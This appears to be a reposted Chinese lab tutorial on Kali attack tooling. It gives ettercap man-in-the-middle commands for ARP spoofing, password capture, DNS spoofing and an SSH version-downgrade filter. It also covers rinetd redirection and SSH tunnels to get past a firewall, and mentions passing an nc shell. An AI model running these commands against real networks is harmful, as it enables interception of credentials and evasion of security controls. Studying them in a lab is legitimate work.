把流量重定向到ettercap主机上,可以使用其他工具实现MITM,ettercap之作嗅探和过滤使用
arp欺骗
ICMP路由重定向
DHCP修改网关地址
Switch Port Stealing :flood目标地址是本机,源地址是受害者的包 适用于ARP静态绑定的环境
NDP :ipv6

  • 使用
    界面
    户操作界面
    -T 文本界面
    -G 图形界面
    -C 基于文本的图形界面
    -D 后台模式
    指定目标
    IPv4:MAC/IP1/Ports /IP2/

    IPv6:MAC/IP1/IPv6/Ports /Ip2/
    修改权限
    vim /etc/ettercap/etter.conf

    修改为0,方便后续操作,可以不修改
    命令行版
    ettercap -i eth0 -T -M arp:remote -q /192.168.95.137// /192.168.95.2// -w win10.cap -l logsmall -L logall -m message
    -w 保存抓包文件
    -l,L保存日志文件
    -m,抓取的密码
    抓取ftp密码效果

    图形化

SSL MITM
修改配置文件
gedit /etc/ettercap/etter.conf

DNS欺骗(插件)
修改要欺骗的域名
gedit /etc/ettercap/etter.dns
ettercap -i eth0 -T -M arp:remote -q /192.168.95.137// /192.168.95.2// -w win10.cap -l logsmall -L logall -m message -P dns_spoof

日志查看
Ettercap 日志查看
etterlog -p log.eci 查看获取的密码
etterlog -c log.ecp 列出Log中的连接
etterlog -c -f /1.1.1.1/ log.ecp
etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa
选择相应的连接并榨取文件,20端口ftp传输数据
Filter
/usr/share/ettercap/
SSH-2.xx / SSH-1.99 / SSH-1.51

etterfilter etter.filter.ssh -o ssh.ef
编译源文件为ef
就可以把1.99修改为1.51
ettercap -i eth0 -T -M arp:remote -q /192.168.95.137// /192.168.95.2// -F ssh.ef

其他协议攻击
ICMP
-M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
DHCP
−M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
Port
-M port /1.1.1.1/ /1.1.1.2/
Ndp
-M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

Traffic manipulation technique

流量操控
运用
访问受限的网络环境
使用隐蔽的手段逃避安全检查和溯源追踪
在非信任的网络中实现安全的数据传输

重定向

重定向 ip port
隧道
利用加密技术建立起通信
点到点(ip to ip)和端到端(port to port)
vpn
知识补充-vpn的种类
封装
使用网关设别实现不同类型的网络的互通
知识补充-RPC

重定向实验

环境
xp:作为内网机器,网卡设置为host-only
win2003:搭配iis服务器,开启远程连接,桥接到外网
m0n0wall防火墙:配置在xp和外网环境之间,规则是只允许内网机器访问外网的53端口
m0n0wall安装和配置

kali:安装rinetd 用于重定向,桥接到外网

  • 重定向web流量
    kali安装rinetd
apt-get install rinetd
修改配置 /etc/rinetd.conf

然后运行rinetd
接着xp访问kali的53端口,kali就会把请求转发给2003

  • 远程桌面
    同理,先修改rinetd 的配置,将转发的端口改为3389
    然后杀死rinetdpkill rinetd再重启rinetd
    xp win+r 输入mstsc 打开远程桌面 连接kali53端口,可看到

  • nc传shell
    同理

SSH隧道

一些特征
  • 支持双向通信隧道

    将其他TCP端口的通信通过SSH链接转发

    用SSH作为传输协议,对流量自动加密

    突破防火墙规则

一些用法

本地端口转发
环境准备

网络环境
ubuntu 18.04(任意Linux机器均可)网卡为仅主机模式

m0n0wall 网卡接host-only 和 无线网络 默认用户名 admin 密码 mono

kali 无线网络
win2k3 无线网络 iis服务器

环境 ubuntu 10.1.1.21

mono192.168.1.108

2k3 192.168.1.105

kali 192.168.1.107

开始测试

修改kalissh配置vim /etc/ssh/sshd_config

​ 修改端口 为53, PermitRootLogin yes, PasswordAuthentication yes

启动ssh服务 service ssh start

转发建立

ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

远程端口转发
动态隧道模式

更多推荐

kali渗透姿式小汇总

本文发布于:2023-04-21 08:33:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/eeccd6a0474c6bd38bbc777cb851ce50.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:kali   姿式小

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 92889文章数
  • 23617阅读数
  • 0评论数